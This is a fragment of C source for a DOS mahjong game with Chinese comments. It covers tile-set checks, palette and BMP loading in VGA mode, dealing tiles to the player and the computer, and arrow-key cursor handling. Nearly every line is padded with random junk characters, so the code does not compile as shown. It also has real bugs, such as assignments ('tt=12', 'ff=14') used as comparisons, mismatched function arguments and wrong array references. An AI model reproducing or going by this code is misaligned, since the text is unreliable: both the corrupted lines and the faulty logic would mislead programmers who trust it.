# s$ b) d" a9 F4 F; G- Mfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
% d$ T; T2 ?. Z{if(kl==i)4 I2 R  F+ h: w0 [7 o- j
{
7 C' s7 R5 S5 ?5 _' Zkl=kl+2;
7 Q8 x0 d0 G( [& Y& k2 ^if(kl==8)% }+ }  |4 b8 }3 L- H- x: C
break;
+ q- N) h0 _7 A" W/ f}/ v% o0 U  @9 A0 k* @1 T
test[ill++]=pt[kl];& _; v) w& J7 S# ], c
}) M, L6 k5 E# Y+ _
isthree(test,tt-2);
* B" s$ u1 [  O6 r8 x}
  d4 Z; T5 M8 [1 I6 M% E}
3 r; c8 Q' s  F* `" telse if(tt==9)
; q9 s( K1 z" S7 a: o5 q1 j, [isthree(pt,tt);
* @" r+ j& ?' \! Velse if(tt==11)0 x  R+ P' X  I9 J& k' E# i2 \$ t
for(i=0;i&lt;10;i++): ?, w& L/ A8 u4 a3 ~/ n
{$ i2 P9 A( S' `. f# j  m
for(j=0;j&lt;2;j++)
9 W* ~7 R6 {! w# w# D' W{test[j]=pt[i+j];
2 m1 g: Q: F3 E( r. c& d}1 g' d! s( h  F" R. S6 b
if(istwo(test))
0 {5 y, }% n& N6 {' u- W{ ill=0;+ w5 J: [1 o2 Y3 m
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( w2 o$ o/ b4 f: M" i6 z( v3 b  |
{if(kl==i)+ _" b' v+ A/ U
{) n6 B) E. \3 t0 y5 U- d5 J
kl=kl+2;. u/ o! Y+ t3 ?$ s7 F1 Q
if(kl==11)
) Q  E8 f3 @1 e$ `1 g& Y# {. ~break;
0 p# v- Z( U$ o* K/ S: ]}
; ~/ I& u; Q7 z6 J( K* |test[ill++]=pt[kl];+ v' m- Q% t) a( W1 K: H
}
9 Y5 `5 j/ P9 S" J8 a. I0 \$ g- nisthree(test,tt-2);
0 }% U& I3 }7 B2 D* o}1 h1 T. d8 X5 t/ t" ?# Z4 ]
}
4 @& T0 D4 L2 c" selse if(tt=12)
, `1 [& _' r& V) }; ~% i4 K+ `isthree(pt,tt);- Z- `( ?7 F6 S4 _6 d
else if(tt=14)
9 q- |  p3 g* s/ Q% sfor(i=0;i&lt;13;i++), E% e% _: s4 l: @
{
$ V" b8 Q2 g+ K- o, Mfor(j=0;j&lt;2;j++)2 N' z+ C0 f7 F$ h- ^% p, ?
{test[j]=pt[i+j]; * [; t2 x" v8 [7 S" \/ o" P1 F
}
( T6 o' y' E8 [* ?" s9 \if(istwo(test))  U* X& X7 v; u5 w1 E4 Z, a  R
{ ill=0;
/ o% Z4 e; P5 h' Z% p) p5 X; dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
% b: Z- q9 k. }# ?{if(kl==i)
% L* P; t8 e4 F4 P% [{
  B- E5 ?) ?5 u5 h9 ~( Q; T) pkl=kl+2;  {& `6 _% Y: Q8 ?% |$ w, v
if(kl==14)
! A4 Y6 |7 Y- F$ K! P1 _- ?  cbreak;% _! t  H$ ~1 y5 z
}
& ?0 Q& Q; Q# {- T7 O6 etest[ill++]=pt[kl];
0 \% c3 j, h- l6 F6 h# e}. b% B6 Q  {' B$ i9 l" {
isthree(test,tt-2); - m- V. ?1 @  o4 c% a- |3 J
}* U9 C/ M1 ^' r! I" e  x! y0 _
}
; {4 B/ V7 e9 R# C  sif(ii==2)0 |' [/ f2 \9 ]
istwo(pi);" I9 `, p9 o5 W
else if(ii==3)( h0 D" I; k7 |# [: R0 E. @
isthree(pi,ii);
7 s8 Y' t* Z* A4 h! r$ ~else if(ii==5)
& M' R! M1 o& @3 w- q/*pi[5]原始牌数组,假设已经升序排列*/
* ]; w) W) a) b+ d* z, Q+ H, Y; _/*test[3]用来放置测试牌的数组*/8 i9 n7 s/ {& V. Q! T+ a, p& C/ f
for(i=0;i&lt;4;i++)
) ?( l; W# ^, [5 k& k{
! Y" N% h$ D$ m1 r, ffor(j=0;j&lt;2;j++)
# \5 S/ s# v3 B  J{test[j]=pi[i+j]; 9 n( j/ @$ M% x
}
/ k5 |' B, C7 A' kif(istwo(test))
  O. G# v. E: c, n7 V{ ill=0;
" d9 D/ N9 N4 c6 p$ q( Afor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 j. [; a# Q% o% J) ^6 i* a
{if(kl==i)
3 ~  t2 C& T5 L' Z1 y+ U& @{  J6 S2 f0 p5 h9 a! p$ H8 H7 r( D; q/ S
kl=kl+2;
8 k! z9 v0 b, u3 Oif(kl==5)' r: [" @+ d/ x3 b- [5 J
break;
, ~/ G* I% W3 A}
. F' |& u3 W* l* P' Y$ U$ ?" [test[ill++]=pw[kl];
. c) v& j. o! w- j0 c8 G$ F}
3 F. u; Z: F3 [isthree(test);; X( {8 k# h4 q7 w4 Z2 {  C
}+ N( j1 V9 H+ }0 M( D$ m
}
' i# [4 Y% Y5 a& Uelse if(ii==6)
. H; M- M; E9 q) @- Fisthree(pi,ii); " z, k3 q/ N( {: W9 k
else if(ii==8)6 `2 J& p' x( I3 m
for(i=0;i&lt;7;i++)
/ C3 G3 c+ N: E: N' t: S{
; m: s7 |9 r1 z% Y1 I! a: U0 |for(j=0;j&lt;2;j++)2 m2 L. `- n+ O4 U% R8 Q
{test[j]=pi[i+j];
& d9 p# j1 N* P4 b}. e7 J* a3 f6 c* c1 X" a
if(istwo(test))
! |/ i) C5 I- v, u6 N, C7 U{ ill=0;
' n  @9 e/ g  z: P( ]" N% Dfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
9 j2 ~, b1 a& |" E7 X7 N{if(kl==i)
, |3 C; E) ]$ `' B+ c{1 r: A- u; G: c. W7 @- g
kl=kl+2;8 @+ O) o2 R$ p0 s* V
if(kl==8)
* ^; I6 K" f9 jbreak;
7 l) N3 ]1 `2 A- R) Z}
8 Y2 V+ R% b) c4 Xtest[ill++]=pi[kl];( D7 _; ~  f' x
}3 n$ b& K9 H1 K% ]
isthree(test,ii-2);+ i0 M. p  n" |; z% p) \9 E, t* S  ?
}
, n' _6 o* P0 T! W2 }% A0 q}
/ ]+ y2 }  A  y0 y! k; W  `else if(ii==9)
; b* e# D9 w8 Y$ histhree(pi,ii);  w! k8 X7 l2 h/ G; f
else if(ii==11)9 {2 e: J: S2 X1 u- h9 X& M
for(i=0;i&lt;10;i++)
3 B& U- y/ |3 \$ `{
8 H# ]. T- ]6 O4 I0 F# nfor(j=0;j&lt;2;j++): j" b6 E6 C( G+ w- e
{test[j]=pi[i+j]; ( @8 P: v; Y$ ^. q( u
}+ v' ]! @( r( @7 \  j  K
if(istwo(test))0 d7 n1 H1 D& G! P4 k% {
{ ill=0;
& |( M! z' z2 m) xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ W0 l5 ?0 f. ]{if(kl==i)
( w+ l$ v' `  S9 d{* U4 o  q0 [2 f1 P4 T
kl=kl+2;& W5 O; N* p5 e- q) J' Z3 r! O8 p
if(kl==11), N$ x* K: F& L' c1 c! E
break;1 s, _* I# L9 i- t) m2 d7 I
}
" L2 p/ @0 l8 s- q8 wtest[ill++]=pi[kl];& c8 M1 s3 A' u5 j% v/ a1 T
}* x% t: V$ S1 y2 T1 l1 p  b5 i
isthree(test,ii-2);
$ |1 l0 l! L$ c7 N( N2 a9 @}
* E6 d: i3 O( s: |7 ~( P  m}
) [0 I. C6 M' p  {& l. ?9 f# felse if(ii=12)
8 B- j' v! y, q4 F7 B( I! L% Y' disthree(pi,ii);
/ {) S" O6 r# Felse if(ii=14)* t. Z% L! k& [( T! Q
for(i=0;i&lt;13;i++)+ t* y& [1 w( j+ P  c
{
7 N4 k! D6 {9 r) |: X$ nfor(j=0;j&lt;2;j++)% p- v1 z$ n  C5 {. w/ l
{test[j]=pi[i+j];
, G7 v) K$ n7 z. j# C$ P}. ^! K" v5 b& E9 }  }
if(istwo(test))
/ Y% B3 x6 T: y# [% p& J' E6 N{ ill=0;6 e, h' q& O/ \0 x/ h& R
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
+ w& y5 H% B4 @' h{if(kl==i); t8 [* i! ~; b( T
{2 ^! H! d5 [/ c( e  U# i3 i- N
kl=kl+2;
/ M/ h+ J) R5 q; k% L5 f  V' G, Pif(kl==14)  [( `! }2 [& Q
break;* q0 q* w1 ], Q$ N6 U
}! f7 |5 o4 ^2 B* W, r; e
test[ill++]=pi[kl];( M8 q6 d( b) s6 O$ B0 Q. f: f
}/ s. v& g3 c- Z! Q- h# P
isthree(test,ii-2);
& ^6 M* Z4 s9 ^  \7 I7 b2 @, c}7 _" t; [5 t& J, k
} " ^2 ^0 J& z/ }: q9 j9 `( ]
if(ff==2)1 t8 t7 R# E2 O4 O& l6 B
istwo(pf);+ H, h: ^1 L; N0 `( X4 L- _/ i0 @" q: Z
else if(ff==3), t! r: ~: F3 P4 x& U
isthree(pf,ff);
7 k# `$ L% h! O' y4 `5 i! O5 velse if(ff==5)
1 \& }& n% N) i  C% U/*pf[5]原始牌数组,假设已经升序排列*/
5 w0 L& _! U6 W4 T* j8 S/*test[3]用来放置测试牌的数组*/
8 l) r. s* |! T3 N; D. A+ Vfor(i=0;i&lt;4;i++)& n, P& z$ H" ~9 t  Y
{( p3 A. u( }$ A+ d" e6 G
for(j=0;j&lt;2;j++)/ _) I) e% E+ Z# W6 I+ ?
{test[j]=pf[i+j];
$ p9 R$ Z+ `/ R# `}# `% J- J, j+ m
if(istwo(test))
: |8 V- r! }/ j+ ?{ ill=0;
. Z0 @4 D9 s* B" J1 Zfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/8 D* A; d0 d5 {- j8 f" g
{if(kl==i)( ~8 _! @& j* A" C1 Y! M
{& h  }) G0 t7 ]7 _
kl=kl+2;, ]1 J8 c$ n4 P6 Q
if(kl==5)6 e  R! x6 Y0 W) R3 n
break;
5 l% t/ |- p! ?3 |* i}$ ]7 ?' E2 g7 Z) a3 o' w
test[ill++]=pf[kl];
, S! |: @' G( c}/ M! j" d* P: A8 i. H8 R. W
isthree(test);
+ C# k- n" O2 j# Z1 x* X}
6 ^* y, t; G5 Q; L}
7 K% U$ T- g, g3 Jelse if(ff==6)8 b4 _2 x, A6 M! b& O8 f" `7 E
isthree(pf,ff); : f- @) _. j5 I, \
else if(ff==8)
+ O, z$ \  G: s( ~! P: \for(i=0;i&lt;7;i++)
3 u% n3 H8 S6 ~8 }, D9 {{
) f6 D" `* Q7 c$ W( S1 {% [7 s* Efor(j=0;j&lt;2;j++)9 Q6 Q! i# _3 G! c
{test[j]=pf[i+j];
5 G2 f6 T' T( {. M, G5 t}
% g6 v3 [  H0 b8 f' ~! Fif(istwo(test))- O7 ?4 h, M5 [
{ ill=0;, j$ p5 P, t# Y& H/ A( u
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/' W6 \! @# d4 @& X
{if(kl==i)5 b: U  ]& s0 {4 B  n0 @# Q, G* K
{
% ^  I% \3 @% m/ B/ z9 n) i/ s2 Dkl=kl+2;& V+ e- p( ?' G) g
if(kl==8)+ t- @. |+ P2 s3 ~  r) q
break;
" O  B& c" l# w; X) m/ H4 O}
% N' y  X$ W% r: B1 g3 J' o* Gtest[ill++]=pf[kl];! q7 V3 l4 q" d' d0 d  y
}% ?  X  D6 D* m
isthree(test,ff-2);
3 ]/ q, R, V3 v2 \9 S4 C$ t. ?}% m. S- b: M  m! r$ ?
} 4 s& r# C4 F/ _! ?% |' V7 _  L6 Y
else if(ff==9)
4 k: T# H/ l5 V/ kisthree(pw,ww);
0 B2 p0 G" A' q. [! eelse if(ff==11)4 x, F- C+ O9 \
for(i=0;i&lt;10;i++)# T7 \4 O' m) X% n
{' t, q' H1 L* S8 C+ R3 B
for(j=0;j&lt;2;j++)# o: O- \* N2 M0 g) `7 {$ X( V
{test[j]=pf[i+j];
1 Z6 q. w% l) f- ]4 w}  S3 Y- F, k0 @* i7 o3 l
if(istwo(test))
- z( Z1 l" ]  J  \  ~% u{ ill=0;
+ {2 v" l" p( N' P  `4 B) _for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) F/ p4 w% z. E) R% ~: p{if(kl==i)
, D3 h2 D; o1 V5 {{
1 L6 ]" I+ y$ }2 h2 l- [! v1 j" H, j  T5 Ukl=kl+2;
$ T6 c3 D4 e  ~! cif(kl==11)
0 M0 Z& W9 s& t' dbreak;
" v0 ^5 y, Q# m5 a' ]}% r! v' U& _# U3 {6 e0 {
test[ill++]=pf[kl];5 q1 p! Y7 I, h' q. q
}1 a" p- U2 R5 Q# t4 F
isthree(test,ff-2);
1 c6 y/ A6 n' ?' Z6 _}
% p- u9 O- c- Y* e; c} / r5 v# o4 k, n- ~, R2 M
else if(ff=12)0 u4 Q) b' [% |7 v
isthree(pf,ff);
# H. F3 p# l, X: Zelse if(ff=14)
% h2 b, M5 e8 _7 O; [for(i=0;i&lt;13;i++)/ q9 w8 E3 Y* y. R
{7 F+ H) @; o7 A9 q, i
for(j=0;j&lt;2;j++)
* t# o$ q0 L7 }; A) |{test[j]=pf[i+j];
% C. x% }3 V6 N! }6 q: s}6 q6 [4 @' n1 k
if(istwo(test))
6 ^3 D: b1 Q* A- d$ L; f{ ill=0;/ D$ E6 u" M* Y7 d* s
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. m/ P6 |. f7 w9 M3 B7 D- j! H{if(kl==i)
( I4 y9 H1 F' r7 S* L" S: c{
! `. Q9 t+ l* i& v1 P3 P- p; c' Okl=kl+2;3 I- c) C2 ]. Q8 K" @2 F5 M
if(kl==14). A/ {3 |; {+ f% ~! S# |
break;
- y; G# T, q9 R% I- V- C0 p}" E0 Q, y/ S+ u2 @. R4 |
test[ill++]=pf[kl];& U1 i+ }7 a8 Y4 @7 w# s0 p) _
}
, D( C# J; |( h8 jisthree(test,ff-2);
3 R( T. q+ T4 [- V5 @+ c}3 |# U" P# s5 A  `' l
} # T4 G6 F' `' h1 `: i' f# w
}6 u, F; h) @6 ~: Q
void main(void)( F; d/ I9 Z1 O; `
{/ v  V4 b4 \5 `$ a/ r
FILE *bmp;1 u% s# l$ k' G! U4 N1 h0 C
static char *name[2]={"ff.bmp","logo.bmp"};. y. q3 P5 i' m. p
char *p;7 y& M4 D( _7 o6 b! z7 d  x0 t
int *lingshi;2 ?  W  G. I: X( Y
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;- @5 F- o- ]3 T$ l8 @) l% k4 j3 N
int every=0,w=0,x1,x2,y1,y2,every1=0;# k( z$ \& S% e. F/ o7 B
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
# q; d: [: r" F$ q* x+ ^BYTE palette[256][3];
; R7 `( J6 ~4 }9 f: f% OSETVGA;5 X1 s7 r5 K5 o* i5 ^
getch();
: o7 t- T7 A0 K* g8 {) }- l- ?0 Owhile(t--)' f( L2 l. M; c7 D
{, \1 s4 O5 j; [4 _
bmp=fopen(name[t],"rb");: M0 M8 p4 @  I% @. G/ s6 b
fseek(bmp,54,SEEK_SET);
' Y# c. P0 o) m4 t/ Xfor(i=0;i&lt;256;i++)! X' S6 G/ Z1 L
{
% Q' ?( z  a! g6 h3 P# \# ?0 _palette[2]=fgetc(bmp)&gt;&gt;2;
+ ]) d+ q- r4 v* Z# K; y2 }7 fpalette[1]=fgetc(bmp)&gt;&gt;2;2 f8 D- ]& m- p9 t! o3 V
palette[0]=fgetc(bmp)&gt;&gt;2;
! x3 b3 p0 T: @; S0 w+ hfgetc(bmp);4 }7 Y. [- T4 p2 ]! ^
Set_Palette(i,palette[0],palette[1],palette[2]);
1 S; j# t3 K! A% i) t4 ^1 E}' Z9 L7 {8 h4 q
for (y=0;y&lt;200;y++)- V# G8 F& E6 ~* [4 X$ y
for(x=0;x&lt;320;x++)9 \& t2 e* T: T6 s
pokeb(0xa000,y*320+x,fgetc(bmp));
0 r( j( O- u2 n+ Q0 Ifclose(bmp);
8 b5 M/ V9 x. a% C6 j! A. Ugetch();
2 V" c. n' l: Y/ d) |% Z4 ^}
9 Y: z, A- q& g( H' D- P4 Vgetch();. B1 k! f9 K2 Z  \- e# |- B- s
fillRectangle(0,0,320,200,0);5 j% Y2 g+ a2 E% Q
getch();" x" z5 [# F7 k0 S5 ^
randomize();% a+ B5 j8 Z+ A) R$ K* R, I
me.m=onetothirteen;* i) K5 q( z! c8 w- d1 [8 E
while(me.m&gt;0) /*先循环,给自己拿牌*/
' s  r% l+ V$ H6 |" t$ U) O( q6 j{8 Y2 U: B8 `3 ?; |8 `. U* {* t& J

6 b( ]) u& k1 ]  M( |: Wtemp=random(136);( q0 M, w% V: Y. |/ k- h
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)8 Y( d/ [5 u2 ]1 I$ q
{9 I( R+ r9 ~& P) o# h
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
, F4 p* d: x' {7 h* H6 \me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/$ ?7 a& I, G( p2 R+ Y8 k6 X+ A
me.pp[n].number=temp; /*第几张,用来排序*/
: R: n# G& D/ |" Z  [% ^m[temp].data2=1; /*判断牌是谁的*/* ]/ o( y% E! q- r2 u; x
kk=1;% s3 C0 k3 W4 S" V& N
}# l* v4 A' o( E2 m- r! `# {
if(kk==0) /*判断如果又选择了,就从新再选*/2 w  e0 ]  M) g4 \2 J( x$ q
{
6 o8 ~* d; q; j' R: Z2 t  h" gme.m++;
9 K* N# d& _- Q: {n--;
6 l, |; c) y' |  N( B) S}; W6 T3 c6 p- F3 y& \
me.m--;, Y% T% A  d; O: J4 Z! O
n++;7 a! R0 |2 g3 F6 s
kk=0;. U6 ~  r' t& w) a3 u% b% x! o
}, F) d8 l; B- A2 x1 V
me.m=12;
" Q7 w. i! f! F0 Wmelipai(); /*理牌*/7 j4 y, {9 v8 ^! ~% x! j8 \
  Q4 o: A. Q% L, x. q; ?- B: N
n=13;
3 m5 h8 p. ~% A( @9 d! G5 ~while(l&lt;n)( H; R) h( M' y& x
{
2 c- s! X' L/ ?& l6 ^# w8 |9 sz=z+20;+ _2 N/ t; F# @$ l2 n4 }7 s& L
showbmp(l);
7 I( e, l& X1 Y: L$ m& B! `l++;
: ^# P5 t, s5 g( g. E& X4 d* q7 q# j
}: z5 t* T" B: _( j5 f
randomize();; ?. i  D) ~% ^. z* ?
computer.m=oneorthirteen;. ^: e  d5 D7 c
n=0;
" a7 y& ^& F& U% f: P! _) Swhile(computer.m&gt;0) /*循环,给对方拿牌*/4 G0 n0 e( M3 @: |' h, M+ R/ F
{9 m0 b9 t# E! j+ X/ B
temp=random(136);
% B$ m, s+ `% \& A: U! C) z( r( `  xif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)5 ^( s8 I3 F- R. N' ~% U5 a
{
# U7 w  L; e- c, u' O4 ?* m8 @computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
( [2 s  A$ ~# Lcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
( Y. \3 K7 K& H$ y/ kcomputer.pp[n].number=temp; /*第几张,用来排序*/; W( \# j6 w' F9 i5 R4 S
m[temp].data2=2; /*判断牌是谁的,2为电脑*/
- q4 [! B7 F: e7 i. r, hkk=1;
* c  x4 @$ h& W0 q7 l- c}, A: b+ g; N# l$ s3 I
if(kk==0) /*判断如果又选择了,就从新再选*/
& c+ ^$ F4 [! Y& C- W4 U$ R{ : u; U$ u# x% Y1 [& `0 r
computer.m++;/ Y2 k- A* H+ ?2 U, v+ L' v% D) d
n--;
9 Q; _- U9 ]0 W  X. y; t}$ ~9 S$ x5 A" I0 X& d) Q2 Q. @
computer.m--;
8 T9 K; [. E# S1 D& @1 Z0 |n++;  M" p( F8 c' C  r: u2 [( p
kk=0;5 H' V5 t; _" n4 P5 A
}3 Y1 s" s* x' y# E- t7 @( t
computer.m=12;
$ h# b1 ^1 m! }9 I; g: ccomlipai(); /*电脑理牌*/
+ S& y# x( f+ L8 z  n) N' j4 dn=13;2 U+ i0 v% u8 h6 U* w
while(ll&lt;n): u! K5 r, X" z/ z$ i
{$ q& U2 {9 ?# X5 M' h
zy=zy+20;
( H5 a+ N- [; J4 F9 Bshowybmp(ll);
+ a4 E1 n7 Y+ n4 S, I3 R" \3 Cll++;
/ m- Z0 z. E; A) B3 E9 M}$ u+ Y& H% d4 t8 a+ N6 d& s5 e
$ [1 Z  E: U& C  H; c: N
z=54400;
- V+ V" U& |1 a+ q: Awhile(key!=ESC): R: P9 Q/ ~0 l: ~
{ * g, Y6 Z# y1 K" S
. G% n6 U$ h1 {4 }. k
keyy=bioskey(0);! h0 |8 Z/ O& _, u' @
if(keyy==LEFT)
% z1 J7 `$ t7 z. q2 ?; G5 F* B{ w=1;: r# O7 R2 l) ~8 g4 d& `4 M, Q/ P' r
if(every==0)
( R" ]% T2 U; u1 [% d; f. ^8 I{  H8 q8 a. \0 N$ b6 X! J. H3 l$ g
every=1;
  \  q& F1 Z$ u% xz=54440-5*320;
) h' {6 C& ]* ?, a$ c6 a
4 k! r$ e3 H7 I- D1 O( z/ q3 e! X}
! o. @! g7 O4 Q2 s. ~2 g( J4 v8 M* q* Zzz=zz+5*320;
$ s6 I6 j# [3 A/ jshowbmp(every);6 @1 ^* `- u. t  m
if(every==0)
4 ?: s; o7 X' ]3 _{) ]3 {$ F; _, J$ H1 a
x1=20;
) Q9 j$ e3 r$ E& `, [+ _y1=165;( B7 K6 t  M1 X  j/ S7 e! h
fillRectangle(x1,y1,x1+20,y1+4,0);
  q6 ~: T5 h( ^& _: A1 |$ L}" r) S1 m! l) Q' p7 `' c
if(every==1)8 m7 e2 i- _4 `) V, u/ z  Y* U. s2 K
{
! S2 |" q) R* A3 ~x1=40;4 |  P( C) ~5 ?5 q- q" k) W( Z
y1=165;
' ]- _0 ?5 `' FfillRectangle(x1,y1,x1+20,y1+4,0);. L' z) [! C- I* B) B
}
  V9 c9 e- }& tif(every==2)
2 R9 C7 I' |9 i4 c6 ]{
# \* ]) Z7 ~7 e3 Jx1=60;: m" K# K% g; r/ c4 O# [3 x
y1=165;9 Y$ n! N% @/ m8 i# ?
fillRectangle(x1,y1,x1+20,y1+4,0);
# c% ], ?9 |- h. z3 ~5 `9 [}2 v: V; p, a5 L
if(every==3). a- w* r$ n. ^& Q% |
{
; O" l' x+ S. I% T& ix1=80;6 S1 F7 J& N- s, L
y1=165;: W  v: u6 n- t6 V0 K
fillRectangle(x1,y1,x1+20,y1+4,0);
+ E. q2 g3 Y' f, V}4 c4 z! K9 a" ?. y8 M
if(every==4)" R( r7 S( X" X4 B4 U3 A: N$ `. T
{
# _, \/ [* N( I* _* P! I% xx1=100;
, I0 w5 d/ h: w5 Y2 E. V4 W) Wy1=165;
- P; F5 j5 Q9 H) ~4 y! YfillRectangle(x1,y1,x1+20,y1+4,0);, K: W4 e- x8 ^' @- \7 @2 Q
}
1 x6 U3 T  R& P, @) K6 wif(every==5)
1 L  q; t  _. d8 T# Y5 M% c{
0 `1 Y4 d* y4 a2 c$ J+ b2 k9 j. Sx1=120;7 o% V. K$ l, k+ b: ?) Z) n$ S4 `
y1=165;% A- U) X( E- R7 J0 U( N9 o. d
fillRectangle(x1,y1,x1+20,y1+4,0);
2 _+ ]( z! Y9 a}
4 w& Y* u9 s+ y+ |$ Y, n+ x$ ^$ h( r1 Wif(every==6)# A( @  z  j" e/ `' g
{
' y1 @  m( `7 g8 k5 I( ^4 Vx1=140;3 O8 m; i& |* D+ E
y1=165;8 c: h& L3 j9 B9 c5 y
fillRectangle(x1,y1,x1+20,y1+4,0);" P! k. v( \* E, n
}* G" \# B/ \' m* k5 F
if(every==7), L9 m. G* K2 O6 B& F* R
{2 B: v6 H3 S9 g
x1=160;
1 K, `$ x& T1 x" z" Jy1=165;
8 O: K/ j6 i, {+ BfillRectangle(x1,y1,x1+20,y1+4,0);# L) k! R% X& [. ^- R; f
}' M- @5 }$ p& a! L
if(every==8)$ e6 B" M* s( ^5 [3 r( [, s' y
{1 ]7 I! D0 O' Z7 H- F- Z( ]/ o
x1=180;  M( }& O8 F, Z: b
y1=165;5 P# |4 u+ y( D% G  }3 y' }
fillRectangle(x1,y1,x1+20,y1+4,0);
& F2 }& Q  o( Z# y+ H}( M. G2 b4 A# m( M3 B
if(every==9)
, p0 H$ A, E( t- e{
3 X  E. L# k6 g& g5 q0 m! M6 ]x1=200;; V0 L4 a5 K" S0 j* @# `
y1=165;4 A$ ?$ c4 s0 R1 X* D7 n$ y! k
fillRectangle(x1,y1,x1+20,y1+4,0);
! M+ l! [: m; a5 x}
$ d* V9 W' E! l5 o3 ~* gif(every==10)
) F' b0 ?4 B2 \0 A{0 `3 f* x( Q( D- @+ d5 M
x1=220;" M& b$ y) l/ J8 m  }" v, j
y1=165;
2 Z5 M3 q/ W) q! rfillRectangle(x1,y1,x1+20,y1+4,0);" O+ C" h  j* q% A1 J
}- }+ q6 T2 D, o
if(every==11)" M2 D7 f* i5 P- G/ _
{. V8 e3 \& ~# f5 y9 B% D
x1=240;
) Y: Q4 d4 T5 V0 M8 Y7 _y1=165;4 y) E( M; ~" ]: B
fillRectangle(x1,y1,x1+20,y1+4,0);
7 p' A! H% o8 Q+ m! Y5 I+ ]}
) W- N6 x% o. u. \, xif(every==12)
0 I5 N9 O6 }" a{
; `% o0 @5 B! T* K) ]x1=260;
4 F1 a; Q5 Y$ `+ C; D, v5 l7 C9 ay1=165;6 Z/ C% d0 B; E6 k( G( W1 U- _" e
fillRectangle(x1,y1,x1+20,y1+4,0);
8 j- R* r4 i  J1 |  N" L}
4 A3 J+ t) l' ?/ e3 }1 Dzz=0;1 F9 U/ z3 B+ z: o: r7 B4 U
every--;
: t  k, \; X) T/ B$ Zz=z-20;
1 D* g0 X' N$ C% @}' `1 s- n! N$ C( L
if(keyy==RIGHT)* r5 Y; U# M5 j; T% d% h
{ if(w==0), s( E# u* T+ D9 |
{& j, N6 v2 t$ Q1 [' D" W+ x; B- n8 E
z=54440-5*320;
/ X9 D+ P, L; cz=z-20;( U3 ]$ F+ A  C- O
w=1;5 A! }9 O& \8 H0 C; a
}
' J% M! r) K& V( M! \if(every==12)
! N' s. a* k- G8 Q/ T# b{- ]) I7 M5 s. A6 O9 e+ j
every=11;
0 L& G9 ?0 [( \# \+ X1 Y: J# l4 az=54640-5*320;
! d+ h) G' r8 e* j9 [$ K8 O}9 f. G/ ?( V5 B: }9 P  u9 K
zz=zz+5*320;1 p5 W- [5 {( ]7 w6 Y  c
showbmp(every);
6 l/ e8 q6 X& p% Tif(every==0)
/ O1 o! A/ r% j0 r5 B: w{* a: R5 s5 y7 x! P
x1=20;2 S( s' h- |) D8 m1 O: g
y1=165;, }' e, r; S- V6 E) o2 |$ }
fillRectangle(x1,y1,x1+20,y1+4,0);
1 Z* O5 I' G7 i" a}5 }* W% w! C2 }) s# E- {! W" j
if(every==1)6 j" u, _- N6 d! g6 ~3 T/ m
{
* O5 K0 g. E6 f% G. Rx1=40;
8 v3 A: ~  ^# P+ w; b) Z8 K, r7 c2 Ry1=165;
, ?1 B" u; j7 o5 G, ffillRectangle(x1,y1,x1+20,y1+4,0);
  H- S0 Q: b/ X. t! T* }}
9 k0 \0 \7 r0 C" cif(every==2). E2 n) r$ S4 O5 U
{
; r9 c+ E2 o0 A2 v* I& {x1=60;
" I9 q; }$ }+ u5 \! iy1=165;6 y) u2 }  T4 N# n: }
fillRectangle(x1,y1,x1+20,y1+4,0);
) u; x0 c$ N  Y8 ^4 d( n}" n* z% y/ C4 A4 _
if(every==3)
/ |& R7 W% J0 U! P{2 m7 r% m+ A$ L1 C. N8 R/ {
x1=80;% r9 t5 H  i0 d  K/ a, A
y1=165;( M( ~4 V+ f5 s' J) a# {
fillRectangle(x1,y1,x1+20,y1+4,0);
; m$ a& ?+ ?: @% v, k' ^}9 O. X1 `/ o5 r( n
if(every==4)' |- y6 u* [8 R( z. X- K
{
+ b) c3 J! V: t4 @( S) t7 i* tx1=100;
. y/ F4 A- z$ v, t) d8 sy1=165;% i9 g" ]$ q, o, X
fillRectangle(x1,y1,x1+20,y1+4,0);
, v, |0 g( l9 Z; [}
, s' x+ t( z; G0 Yif(every==5)% r1 n: Z- ^3 O. J; M3 s
{
* Q1 ~4 r& d8 h4 gx1=120;2 [6 e% L1 P) R- ]
y1=165;% E8 |' K" `( |, t. R( M
fillRectangle(x1,y1,x1+20,y1+4,0);/ C6 B2 R$ Q% w7 K/ o( g
}
* Y+ B" r' B& K2 @if(every==6)$ |( \( @* |. s3 O
{$ S9 a4 m1 ^) m1 _2 D
x1=140;
- u7 D2 S' R2 d$ |* h( s8 q+ S. a5 ly1=165;1 w5 n$ Y& l4 Q0 c3 Q
fillRectangle(x1,y1,x1+20,y1+4,0);  s5 G6 X8 J( A6 D& h/ w
}7 T( _0 {3 f2 O1 I* z
if(every==7)
: x- h4 f) {3 U5 C% x{: |! v( a" W# d: B8 R# T/ c
x1=160;
( D1 P% b' l) C3 f: Iy1=165;  K4 f( K- w2 Q
fillRectangle(x1,y1,x1+20,y1+4,0);9 V% I" L9 J! x' c5 h- P/ n/ W
}
! o2 J/ l- U! s0 i% q" y2 Tif(every==8)
# }' T) |2 D7 L" C) Z{; C1 x1 o! c3 V
x1=180;
/ V# w' \2 \4 S( ]* e5 @y1=165;
; w# Z5 o! N6 M5 p/ V/ n8 o, I0 {fillRectangle(x1,y1,x1+20,y1+4,0);
